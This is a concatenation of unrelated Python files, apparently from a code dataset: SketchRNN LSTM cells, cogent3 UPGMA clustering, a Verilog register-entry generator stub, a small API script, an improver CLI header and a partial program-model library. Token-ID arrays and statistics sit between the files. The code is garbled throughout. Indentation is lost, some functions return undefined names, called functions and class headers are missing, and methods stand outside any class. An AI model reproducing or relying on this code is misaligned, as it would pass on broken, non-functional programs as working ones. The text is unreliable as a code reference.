# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""SketchRNN RNN definition."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import numpy as np
import tensorflow.compat.v1 as tf
from tensorflow.contrib import rnn as contrib_rnn
def orthogonal(shape):
"""Orthogonal initilaizer."""
flat_shape = (shape[0], np.prod(shape[1:]))
a = np.random.normal(0.0, 1.0, flat_shape)
u, _, v = np.linalg.svd(a, full_matrices=False)
q = u if u.shape == flat_shape else v
return q.reshape(shape)
def orthogonal_initializer(scale=1.0):
"""Orthogonal initializer."""
return _initializer
def lstm_ortho_initializer(scale=1.0):
"""LSTM orthogonal initializer."""
return _initializer
def layer_norm_all(h,
batch_size,
base,
num_units,
scope='layer_norm',
reuse=False,
gamma_start=1.0,
epsilon=1e-3,
use_bias=True):
"""Layer Norm (faster version, but not using defun)."""
# Performs layer norm on multiple base at once (ie, i, g, j, o for lstm)
# Reshapes h in to perform layer norm in parallel
h_reshape = tf.reshape(h, [batch_size, base, num_units])
mean = tf.reduce_mean(h_reshape, [2], keep_dims=True)
var = tf.reduce_mean(tf.square(h_reshape - mean), [2], keep_dims=True)
epsilon = tf.constant(epsilon)
rstd = tf.rsqrt(var + epsilon)
h_reshape = (h_reshape - mean) * rstd
# reshape back to original
h = tf.reshape(h_reshape, [batch_size, base * num_units])
with tf.variable_scope(scope):
if reuse:
tf.get_variable_scope().reuse_variables()
gamma = tf.get_variable(
'ln_gamma', [4 * num_units],
initializer=tf.constant_initializer(gamma_start))
if use_bias:
beta = tf.get_variable(
'ln_beta', [4 * num_units], initializer=tf.constant_initializer(0.0))
if use_bias:
return gamma * h + beta
return gamma * h
def layer_norm(x,
num_units,
scope='layer_norm',
reuse=False,
gamma_start=1.0,
epsilon=1e-3,
use_bias=True):
"""Calculate layer norm."""
axes = [1]
mean = tf.reduce_mean(x, axes, keep_dims=True)
x_shifted = x - mean
var = tf.reduce_mean(tf.square(x_shifted), axes, keep_dims=True)
inv_std = tf.rsqrt(var + epsilon)
with tf.variable_scope(scope):
if reuse:
tf.get_variable_scope().reuse_variables()
gamma = tf.get_variable(
'ln_gamma', [num_units],
initializer=tf.constant_initializer(gamma_start))
if use_bias:
beta = tf.get_variable(
'ln_beta', [num_units], initializer=tf.constant_initializer(0.0))
output = gamma * (x_shifted) * inv_std
if use_bias:
output += beta
return output
def raw_layer_norm(x, epsilon=1e-3):
axes = [1]
mean = tf.reduce_mean(x, axes, keep_dims=True)
std = tf.sqrt(
tf.reduce_mean(tf.square(x - mean), axes, keep_dims=True) + epsilon)
output = (x - mean) / (std)
return output
def super_linear(x,
output_size,
scope=None,
reuse=False,
init_w='ortho',
weight_start=0.0,
use_bias=True,
bias_start=0.0,
input_size=None):
"""Performs linear operation. Uses ortho init defined earlier."""
shape = x.get_shape().as_list()
with tf.variable_scope(scope or 'linear'):
if reuse:
tf.get_variable_scope().reuse_variables()
w_init = None # uniform
if input_size is None:
x_size = shape[1]
else:
x_size = input_size
if init_w == 'zeros':
w_init = tf.constant_initializer(0.0)
elif init_w == 'constant':
w_init = tf.constant_initializer(weight_start)
elif init_w == 'gaussian':
w_init = tf.random_normal_initializer(stddev=weight_start)
elif init_w == 'ortho':
w_init = lstm_ortho_initializer(1.0)
w = tf.get_variable(
'super_linear_w', [x_size, output_size], tf.float32, initializer=w_init)
if use_bias:
b = tf.get_variable(
'super_linear_b', [output_size],
tf.float32,
initializer=tf.constant_initializer(bias_start))
return tf.matmul(x, w) + b
return tf.matmul(x, w)
class LayerNormLSTMCell(contrib_rnn.RNNCell):
"""Layer-Norm, with Ortho Init. and Recurrent Dropout without Memory Loss.
https://arxiv.org/abs/1607.06450 - Layer Norm
https://arxiv.org/abs/1603.05118 - Recurrent Dropout without Memory Loss
"""
def __init__(self,
num_units,
forget_bias=1.0,
use_recurrent_dropout=False,
dropout_keep_prob=0.90):
"""Initialize the Layer Norm LSTM cell.
Args:
num_units: int, The number of units in the LSTM cell.
forget_bias: float, The bias added to forget gates (default 1.0).
use_recurrent_dropout: Whether to use Recurrent Dropout (default False)
dropout_keep_prob: float, dropout keep probability (default 0.90)
"""
self.num_units = num_units
self.forget_bias = forget_bias
self.use_recurrent_dropout = use_recurrent_dropout
self.dropout_keep_prob = dropout_keep_prob
def get_output(self, state):
h, unused_c = tf.split(state, 2, 1)
return h
def __call__(self, x, state, timestep=0, scope=None):
with tf.variable_scope(scope or type(self).__name__):
h, c = tf.split(state, 2, 1)
h_size = self.num_units
x_size = x.get_shape().as_list()[1]
batch_size = x.get_shape().as_list()[0]
w_init = None # uniform
h_init = lstm_ortho_initializer(1.0)
w_xh = tf.get_variable(
'W_xh', [x_size, 4 * self.num_units], initializer=w_init)
w_hh = tf.get_variable(
'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init)
concat = tf.concat([x, h], 1) # concat for speed.
w_full = tf.concat([w_xh, w_hh], 0)
concat = tf.matmul(concat, w_full) #+ bias # live life without garbage.
# i = input_gate, j = new_input, f = forget_gate, o = output_gate
concat = layer_norm_all(concat, batch_size, 4, h_size, 'ln_all')
i, j, f, o = tf.split(concat, 4, 1)
if self.use_recurrent_dropout:
g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob)
else:
g = tf.tanh(j)
new_c = c * tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i) * g
new_h = tf.tanh(layer_norm(new_c, h_size, 'ln_c')) * tf.sigmoid(o)
return new_h, tf.concat([new_h, new_c], 1)
class HyperLSTMCell(contrib_rnn.RNNCell):
"""HyperLSTM with Ortho Init, Layer Norm, Recurrent Dropout, no Memory Loss.
https://arxiv.org/abs/1609.09106
http://blog.otoro.net/2016/09/28/hyper-networks/
"""
def __init__(self,
num_units,
forget_bias=1.0,
use_recurrent_dropout=False,
dropout_keep_prob=0.90,
use_layer_norm=True,
hyper_num_units=256,
hyper_embedding_size=32,
hyper_use_recurrent_dropout=False):
"""Initialize the Layer Norm HyperLSTM cell.
Args:
num_units: int, The number of units in the LSTM cell.
forget_bias: float, The bias added to forget gates (default 1.0).
use_recurrent_dropout: Whether to use Recurrent Dropout (default False)
dropout_keep_prob: float, dropout keep probability (default 0.90)
use_layer_norm: boolean. (default True)
Controls whether we use LayerNorm layers in main LSTM & HyperLSTM cell.
hyper_num_units: int, number of units in HyperLSTM cell.
(default is 128, recommend experimenting with 256 for larger tasks)
hyper_embedding_size: int, size of signals emitted from HyperLSTM cell.
(default is 16, recommend trying larger values for large datasets)
hyper_use_recurrent_dropout: boolean. (default False)
Controls whether HyperLSTM cell also uses recurrent dropout.
Recommend turning this on only if hyper_num_units becomes large (>= 512)
"""
self.num_units = num_units
self.forget_bias = forget_bias
self.use_recurrent_dropout = use_recurrent_dropout
self.dropout_keep_prob = dropout_keep_prob
self.use_layer_norm = use_layer_norm
self.hyper_num_units = hyper_num_units
self.hyper_embedding_size = hyper_embedding_size
self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout
self.total_num_units = self.num_units + self.hyper_num_units
if self.use_layer_norm:
cell_fn = LayerNormLSTMCell
else:
cell_fn = LSTMCell
self.hyper_cell = cell_fn(
hyper_num_units,
use_recurrent_dropout=hyper_use_recurrent_dropout,
dropout_keep_prob=dropout_keep_prob)
def get_output(self, state):
total_h, unused_total_c = tf.split(state, 2, 1)
h = total_h[:, 0:self.num_units]
return h
def hyper_norm(self, layer, scope='hyper', use_bias=True):
num_units = self.num_units
embedding_size = self.hyper_embedding_size
# recurrent batch norm init trick (https://arxiv.org/abs/1603.09025).
init_gamma = 0.10 # cooijmans' da man.
with tf.variable_scope(scope):
zw = super_linear(
self.hyper_output,
embedding_size,
init_w='constant',
weight_start=0.00,
use_bias=True,
bias_start=1.0,
scope='zw')
alpha = super_linear(
zw,
num_units,
init_w='constant',
weight_start=init_gamma / embedding_size,
use_bias=False,
scope='alpha')
result = tf.multiply(alpha, layer)
if use_bias:
zb = super_linear(
self.hyper_output,
embedding_size,
init_w='gaussian',
weight_start=0.01,
use_bias=False,
bias_start=0.0,
scope='zb')
beta = super_linear(
zb,
num_units,
init_w='constant',
weight_start=0.00,
use_bias=False,
scope='beta')
result += beta
return result
def __call__(self, x, state, timestep=0, scope=None):
with tf.variable_scope(scope or type(self).__name__):
total_h, total_c = tf.split(state, 2, 1)
h = total_h[:, 0:self.num_units]
c = total_c[:, 0:self.num_units]
self.hyper_state = tf.concat(
[total_h[:, self.num_units:], total_c[:, self.num_units:]], 1)
batch_size = x.get_shape().as_list()[0]
x_size = x.get_shape().as_list()[1]
self._input_size = x_size
w_init = None # uniform
h_init = lstm_ortho_initializer(1.0)
w_xh = tf.get_variable(
'W_xh', [x_size, 4 * self.num_units], initializer=w_init)
w_hh = tf.get_variable(
'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init)
bias = tf.get_variable(
'bias', [4 * self.num_units],
initializer=tf.constant_initializer(0.0))
# concatenate the input and hidden states for hyperlstm input
hyper_input = tf.concat([x, h], 1)
hyper_output, hyper_new_state = self.hyper_cell(hyper_input,
self.hyper_state)
self.hyper_output = hyper_output
self.hyper_state = hyper_new_state
xh = tf.matmul(x, w_xh)
hh = tf.matmul(h, w_hh)
# split Wxh contributions
ix, jx, fx, ox = tf.split(xh, 4, 1)
ix = self.hyper_norm(ix, 'hyper_ix', use_bias=False)
jx = self.hyper_norm(jx, 'hyper_jx', use_bias=False)
fx = self.hyper_norm(fx, 'hyper_fx', use_bias=False)
ox = self.hyper_norm(ox, 'hyper_ox', use_bias=False)
# split Whh contributions
ih, jh, fh, oh = tf.split(hh, 4, 1)
ih = self.hyper_norm(ih, 'hyper_ih', use_bias=True)
jh = self.hyper_norm(jh, 'hyper_jh', use_bias=True)
fh = self.hyper_norm(fh, 'hyper_fh', use_bias=True)
oh = self.hyper_norm(oh, 'hyper_oh', use_bias=True)
# split bias
ib, jb, fb, ob = tf.split(bias, 4, 0) # bias is to be broadcasted.
# i = input_gate, j = new_input, f = forget_gate, o = output_gate
i = ix + ih + ib
j = jx + jh + jb
f = fx + fh + fb
o = ox + oh + ob
if self.use_layer_norm:
concat = tf.concat([i, j, f, o], 1)
concat = layer_norm_all(concat, batch_size, 4, self.num_units, 'ln_all')
i, j, f, o = tf.split(concat, 4, 1)
if self.use_recurrent_dropout:
g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob)
else:
g = tf.tanh(j)
new_c = c * tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i) * g
new_h = tf.tanh(layer_norm(new_c, self.num_units, 'ln_c')) * tf.sigmoid(o)
hyper_h, hyper_c = tf.split(hyper_new_state, 2, 1)
new_total_h = tf.concat([new_h, hyper_h], 1)
new_total_c = tf.concat([new_c, hyper_c], 1)
new_total_state = tf.concat([new_total_h, new_total_c], 1)
return new_h, new_total_state
| [
2,
15069,
13130,
383,
2944,
29188,
46665,
13,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
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362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
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345,
743,
407,
779,
428,
2393,
2845,
287,
11846,
351,
262,
13789,
13,
198,
... | 2.139085 | 6,363 |
# usr/bin/env python
"""Functions to cluster using UPGMA
upgma takes an dictionary of pair tuples mapped to distances as input.
UPGMA_cluster takes an array and a list of PhyloNode objects corresponding
to the array as input. Can also generate this type of input from a DictArray using
inputs_from_dict_array function.
Both return a PhyloNode object of the UPGMA cluster
"""
import numpy
from numpy import argmin, array, average, diag, ma, ravel, sum, take
from cogent3.core.tree import PhyloNode
from cogent3.util.dict_array import DictArray
__author__ = "Catherine Lozupone"
__copyright__ = "Copyright 2007-2020, The Cogent Project"
__credits__ = ["Catherine Lozuopone", "Rob Knight", "Peter Maxwell"]
__license__ = "BSD-3"
__version__ = "2020.7.2a"
__maintainer__ = "Catherine Lozupone"
__email__ = "lozupone@colorado.edu"
__status__ = "Production"
numerictypes = numpy.core.numerictypes.sctype2char
Float = numerictypes(float)
BIG_NUM = 1e305
def upgma(pairwise_distances):
"""Uses the UPGMA algorithm to cluster sequences
pairwise_distances: a dictionary with pair tuples mapped to a distance
returns a PhyloNode object of the UPGMA cluster
"""
darr = DictArray(pairwise_distances)
matrix_a, node_order = inputs_from_dict_array(darr)
tree = UPGMA_cluster(matrix_a, node_order, BIG_NUM)
index = 0
for node in tree.traverse():
if not node.parent:
node.name = "root"
elif not node.name:
node.name = "edge." + str(index)
index += 1
return tree
def find_smallest_index(matrix):
"""returns the index of the smallest element in a numpy array
for UPGMA clustering elements on the diagonal should first be
substituted with a very large number so that they are always
larger than the rest if the values in the array."""
# get the shape of the array as a tuple (e.g. (3,3))
shape = matrix.shape
# turn into a 1 by x array and get the index of the lowest number
matrix1D = ravel(matrix)
lowest_index = argmin(matrix1D)
# convert the lowest_index derived from matrix1D to one for the original
# square matrix and return
row_len = shape[0]
return divmod(lowest_index, row_len)
def condense_matrix(matrix, smallest_index, large_value):
"""converges the rows and columns indicated by smallest_index
Smallest index is returned from find_smallest_index.
For both the rows and columns, the values for the two indices are
averaged. The resulting vector replaces the first index in the array
and the second index is replaced by an array with large numbers so that
it is never chosen again with find_smallest_index.
"""
first_index, second_index = smallest_index
# get the rows and make a new vector that has their average
rows = take(matrix, smallest_index, 0)
new_vector = average(rows, 0)
# replace info in the row and column for first index with new_vector
matrix[first_index] = new_vector
matrix[:, first_index] = new_vector
# replace the info in the row and column for the second index with
# high numbers so that it is ignored
matrix[second_index] = large_value
matrix[:, second_index] = large_value
return matrix
def condense_node_order(matrix, smallest_index, node_order):
"""condenses two nodes in node_order based on smallest_index info
This function is used to create a tree while condensing a matrix
with the condense_matrix function. The smallest_index is retrieved
with find_smallest_index. The first index is replaced with a node object
that combines the two nodes corresponding to the indices in node order.
The second index in smallest_index is replaced with None.
Also sets the branch length of the nodes to 1/2 of the distance between
the nodes in the matrix"""
index1, index2 = smallest_index
node1 = node_order[index1]
node2 = node_order[index2]
# get the distance between the nodes and assign 1/2 the distance to the
# lengthproperty of each node
distance = matrix[index1, index2]
nodes = [node1, node2]
d = distance / 2.0
for n in nodes:
if n.children:
n.length = d - n.children[0].TipLength
else:
n.length = d
n.TipLength = d
# combine the two nodes into a new PhyloNode object
new_node = PhyloNode()
new_node.children.append(node1)
new_node.children.append(node2)
node1.parent = new_node
node2.parent = new_node
# replace the object at index1 with the combined node
node_order[index1] = new_node
# replace the object at index2 with None
node_order[index2] = None
return node_order
def UPGMA_cluster(matrix, node_order, large_number):
"""cluster with UPGMA
matrix is a numpy array.
node_order is a list of PhyloNode objects corresponding to the matrix.
large_number will be assigned to the matrix during the process and
should be much larger than any value already in the matrix.
WARNING: Changes matrix in-place.
WARNING: Expects matrix to already have diagonals assigned to large_number
before this function is called.
"""
num_entries = len(node_order)
tree = None
for i in range(num_entries - 1):
smallest_index = find_smallest_index(matrix)
index1, index2 = smallest_index
# if smallest_index is on the diagonal set the diagonal to large_number
if index1 == index2:
matrix[diag([True] * len(matrix))] = large_number
smallest_index = find_smallest_index(matrix)
row_order = condense_node_order(matrix, smallest_index, node_order)
matrix = condense_matrix(matrix, smallest_index, large_number)
tree = node_order[smallest_index[0]]
return tree
def inputs_from_dict_array(darr):
"""makes inputs for UPGMA_cluster from a DictArray object
"""
darr.array += numpy.eye(darr.shape[0]) * BIG_NUM
nodes = list(map(PhyloNode, darr.keys()))
return darr.array, nodes
| [
2,
514,
81,
14,
8800,
14,
24330,
21015,
198,
37811,
24629,
2733,
284,
13946,
1262,
471,
6968,
5673,
198,
198,
929,
70,
2611,
2753,
281,
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286,
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2374,
27661,
284,
18868,
355,
5128,
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198,
52,
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5673,
62,
5... | 2.866508 | 2,105 |
#this code will generate the structural verilog for a single entry in the register file
#takes in the output file manager, the entry number, the number of bits, the number of reads, and the width of the
#tristate buffers on the read outputs
#expects the same things as make_store_cell, ensure code is valid there
#Matthew Trahms
#EE 526
#4/20/21
from make_store_cell import make_store_cell
if __name__ == '__main__':
f = open('store_entry_test.txt', 'w')
rows = 4
cols = 2
reads = 2
for row in range(rows):
make_store_entry(f, row, cols, reads, 1, 0)
f.close()
| [
2,
5661,
2438,
481,
7716,
262,
13204,
3326,
346,
519,
329,
257,
2060,
5726,
287,
262,
7881,
2393,
198,
2,
83,
1124,
287,
262,
5072,
2393,
4706,
11,
262,
5726,
1271,
11,
262,
1271,
286,
10340,
11,
262,
1271,
286,
9743,
11,
290,
262... | 2.968912 | 193 |
"""API for AVB"""
import json
import sys
import requests
#Example of use
if __name__ == "__main__":
resp = actualite_found()
result = get_result(resp,2,"description")
print(result)
print(nb_result(resp)) | [
37811,
17614,
329,
14661,
33,
37811,
198,
198,
11748,
33918,
198,
11748,
25064,
198,
198,
11748,
7007,
628,
628,
198,
198,
2,
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286,
779,
198,
361,
11593,
3672,
834,
6624,
366,
834,
12417,
834,
1298,
198,
220,
220,
220,
1217,
796... | 2.722892 | 83 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# (C) British Crown Copyright 2017-2021 Met Office.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
"""Script to run neighbourhood processing."""
from improver import cli
from improver.constants import DEFAULT_PERCENTILES
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69,
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2177,
12,
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3395,
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... | 3.697342 | 489 |
#Copyright (c) 2017 Andre Santos
#
#Permission is hereby granted, free of charge, to any person obtaining a copy
#of this software and associated documentation files (the "Software"), to deal
#in the Software without restriction, including without limitation the rights
#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
#copies of the Software, and to permit persons to whom the Software is
#furnished to do so, subject to the following conditions:
#The above copyright notice and this permission notice shall be included in
#all copies or substantial portions of the Software.
#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
#THE SOFTWARE.
###############################################################################
# Language Model
###############################################################################
# ----- Common Entities -------------------------------------------------------
def _children(self):
"""Yield all direct children of this object."""
if isinstance(self.value, CodeEntity):
yield self.value
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
return '{}{} {} = {}'.format(' ' * indent, self.result, self.name,
pretty_str(self.value))
def __repr__(self):
"""Return a string representation of this object."""
return '[{}] {} = ({})'.format(self.result, self.name, self.value)
class CodeFunction(CodeEntity, CodeStatementGroup):
"""This class represents a program function.
A function typically has a name, a return type (`result`), a list
of parameters and a body (a code block). It also has an unique `id`
that identifies it in the program and a list of references to it.
If a function is a method of some class, its `member_of` should be
set to the corresponding class.
"""
def __init__(self, scope, parent, id, name, result, definition=True):
"""Constructor for functions.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
id: An unique identifier for this function.
name (str): The name of the function in the program.
result (str): The return type of the function in the program.
"""
CodeEntity.__init__(self, scope, parent)
self.id = id
self.name = name
self.result = result
self.parameters = []
self.body = CodeBlock(self, self, explicit=True)
self.member_of = None
self.references = []
self._definition = self if definition else None
def _add(self, codeobj):
"""Add a child (statement) to this object."""
assert isinstance(codeobj, (CodeStatement, CodeExpression))
self.body._add(codeobj)
def _afterpass(self):
"""Assign a function-local index to each child object and register
write operations to variables.
This should only be called after the object is fully built.
"""
if hasattr(self, '_fi'):
return
fi = 0
for codeobj in self.walk_preorder():
codeobj._fi = fi
fi += 1
if isinstance(codeobj, CodeOperator) and codeobj.is_assignment:
if codeobj.arguments and isinstance(codeobj.arguments[0],
CodeReference):
var = codeobj.arguments[0].reference
if isinstance(var, CodeVariable):
var.writes.append(codeobj)
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
params = ', '.join(map(lambda p: p.result + ' ' + p.name,
self.parameters))
if self.is_constructor:
pretty = '{}{}({}):\n'.format(spaces, self.name, params)
else:
pretty = '{}{} {}({}):\n'.format(spaces, self.result,
self.name, params)
if self._definition is not self:
pretty += spaces + ' [declaration]'
else:
pretty += self.body.pretty_str(indent + 2)
return pretty
def __repr__(self):
"""Return a string representation of this object."""
params = ', '.join(map(str, self.parameters))
return '[{}] {}({})'.format(self.result, self.name, params)
class CodeClass(CodeEntity):
"""This class represents a program class for object-oriented languages.
A class typically has a name, an unique `id`, a list of
members (variables, functions), a list of superclasses, and a list of
references.
If a class is defined within another class (inner class), it should
have its `member_of` set to the corresponding class.
"""
def __init__(self, scope, parent, id_, name, definition=True):
"""Constructor for classes.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
id: An unique identifier for this class.
name (str): The name of the class in the program.
"""
CodeEntity.__init__(self, scope, parent)
self.id = id_
self.name = name
self.members = []
self.superclasses = []
self.member_of = None
self.references = []
self._definition = self if definition else None
def _add(self, codeobj):
"""Add a child (function, variable, class) to this object."""
assert isinstance(codeobj, (CodeFunction, CodeVariable, CodeClass))
self.members.append(codeobj)
codeobj.member_of = self
def _afterpass(self):
"""Assign the `member_of` of child members and call
their `_afterpass()`.
This should only be called after the object is fully built.
"""
for codeobj in self.members:
if not codeobj.is_definition:
if not codeobj._definition is None:
codeobj._definition.member_of = self
codeobj._afterpass()
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
pretty = spaces + 'class ' + self.name
if self.superclasses:
superclasses = ', '.join(self.superclasses)
pretty += '(' + superclasses + ')'
pretty += ':\n'
if self.members:
pretty += '\n\n'.join(
c.pretty_str(indent + 2)
for c in self.members
)
else:
pretty += spaces + ' [declaration]'
return pretty
def __repr__(self):
"""Return a string representation of this object."""
return '[class {}]'.format(self.name)
class CodeNamespace(CodeEntity):
"""This class represents a program namespace.
A namespace is a concept that is explicit in languages such as C++,
but less explicit in many others. In Python, the closest thing should
be a module. In Java, it may be the same as a class, or non-existent.
A namespace typically has a name and a list of children objects
(variables, functions or classes).
"""
def __init__(self, scope, parent, name):
"""Constructor for namespaces.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the namespace in the program.
"""
CodeEntity.__init__(self, scope, parent)
self.name = name
self.children = []
def _add(self, codeobj):
"""Add a child (namespace, function, variable, class) to this object."""
assert isinstance(codeobj, (CodeNamespace, CodeClass,
CodeFunction, CodeVariable))
self.children.append(codeobj)
def _afterpass(self):
"""Call the `_afterpass()` of child objects.
This should only be called after the object is fully built.
"""
for codeobj in self.children:
codeobj._afterpass()
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
spaces = ' ' * indent
pretty = '{}namespace {}:\n'.format(spaces, self.name)
pretty += '\n\n'.join(c.pretty_str(indent + 2) for c in self.children)
return pretty
def __repr__(self):
"""Return a string representation of this object."""
return '[namespace {}]'.format(self.name)
class CodeGlobalScope(CodeEntity):
"""This class represents the global scope of a program.
The global scope is the root object of a program. If there are no
better candidates, it is the `scope` and `parent` of all other objects.
It is also the only object that does not have a `scope` or `parent`.
"""
def __init__(self):
"""Constructor for global scope objects."""
CodeEntity.__init__(self, None, None)
self.children = []
def _add(self, codeobj):
"""Add a child (namespace, function, variable, class) to this object."""
assert isinstance(codeobj, (CodeNamespace, CodeClass,
CodeFunction, CodeVariable))
self.children.append(codeobj)
def _afterpass(self):
"""Call the `_afterpass()` of child objects.
This should only be called after the object is fully built.
"""
for codeobj in self.children:
codeobj._afterpass()
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
return '\n\n'.join(
codeobj.pretty_str(indent=indent)
for codeobj in self.children
)
# ----- Expression Entities ---------------------------------------------------
def __repr__(self):
"""Return a string representation of this object."""
return '[{}] {}'.format(self.result, self.name)
class SomeValue(CodeExpression):
"""This class represents an unknown value for diverse primitive types."""
def __init__(self, result):
"""Constructor for unknown values."""
CodeExpression.__init__(self, None, None, result, result)
def _children(self):
"""Yield all the children of this object, that is no children."""
return iter(())
SomeValue.INTEGER = SomeValue("int")
SomeValue.FLOATING = SomeValue("float")
SomeValue.CHARACTER = SomeValue("char")
SomeValue.STRING = SomeValue("string")
SomeValue.BOOL = SomeValue("bool")
CodeExpression.TYPES = (int, long, float, bool, basestring, SomeValue,
CodeLiteral, CodeExpression)
CodeExpression.LITERALS = (int, long, float, bool, basestring, CodeLiteral)
def _children(self):
"""Yield all direct children of this object."""
for codeobj in self.arguments:
if isinstance(codeobj, CodeExpression):
yield codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
indent = ' ' * indent
pretty = '{}({})' if self.parenthesis else '{}{}'
if self.is_unary:
operator = self.name + pretty_str(self.arguments[0])
else:
operator = '{} {} {}'.format(pretty_str(self.arguments[0]),
self.name,
pretty_str(self.arguments[1]))
return pretty.format(indent, operator)
def __repr__(self):
"""Return a string representation of this object."""
if self.is_unary:
return '[{}] {}({})'.format(self.result, self.name,
self.arguments[0])
if self.is_binary:
return '[{}] ({}){}({})'.format(self.result, self.arguments[0],
self.name, self.arguments[1])
return '[{}] {}'.format(self.result, self.name)
class CodeFunctionCall(CodeExpression):
"""This class represents a function call.
A function call typically has a name (of the called function),
a return type, a tuple of its arguments and a reference to the
called function.
If a call references a class method, its `method_of` should be
set to the object on which a method is being called.
"""
def __init__(self, scope, parent, name, result, paren=False):
"""Constructor for function calls.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
name (str): The name of the function in the program.
result (str): The return type of the expression in the program.
Kwargs:
paren (bool): Whether the expression is enclosed in parentheses.
"""
CodeExpression.__init__(self, scope, parent, name, result, paren)
self.full_name = name
self.arguments = ()
self.method_of = None
self.reference = None
def _add(self, codeobj):
"""Add a child (argument) to this object."""
assert isinstance(codeobj, CodeExpression.TYPES)
self.arguments = self.arguments + (codeobj,)
def _set_method(self, codeobj):
"""Set the object on which a method is called."""
assert isinstance(codeobj, CodeExpression)
self.method_of = codeobj
def pretty_str(self, indent=0):
"""Return a human-readable string representation of this object.
Kwargs:
indent (int): The amount of spaces to use as indentation.
"""
indent = ' ' * indent
pretty = '{}({})' if self.parenthesis else '{}{}'
args = ', '.join(map(pretty_str, self.arguments))
if self.method_of:
call = '{}.{}({})'.format(self.method_of.pretty_str(),
self.name, args)
elif self.is_constructor:
call = 'new {}({})'.format(self.name, args)
else:
call = '{}({})'.format(self.name, args)
return pretty.format(indent, call)
def __repr__(self):
"""Return a string representation of this object."""
args = ', '.join(map(str, self.arguments))
if self.is_constructor:
return '[{}] new {}({})'.format(self.result, self.name, args)
if self.method_of:
return '[{}] {}.{}({})'.format(self.result, self.method_of.name,
self.name, args)
return '[{}] {}({})'.format(self.result, self.name, args)
class CodeDefaultArgument(CodeExpression):
"""This class represents a default argument.
Some languages, such as C++, allow function parameters to have
default values when not explicitly provided by the programmer.
This class represents such omitted arguments.
A default argument has only a return type.
"""
def __init__(self, scope, parent, result):
"""Constructor for default arguments.
Args:
scope (CodeEntity): The program scope where this object belongs.
parent (CodeEntity): This object's parent in the program tree.
result (str): The return type of the argument in the program.
"""
CodeExpression.__init__(self, scope, parent, '(default)', result)
# ----- Statement Entities ----------------------------------------------------
def statement_after(self, i):
"""Return the statement after the *i*-th one, or `None`."""
k = i + 1
o = len(self.body)
n = o + len(self.else_body)
if k > 0:
if k < o:
return self.body.statement(k)
if k > o and k < n:
return self.else_body.statement(k)
if k < 0:
if k < o - n and k > -n:
return self.body.statement(k)
if k > o - n:
return self.else_body.statement(k)
return None
def get_branches(self):
"""Return a list with the conditional branch and the default branch."""
if self.else_branch:
return [self.then_branch, self.else_branch]
return [self.then_branch]
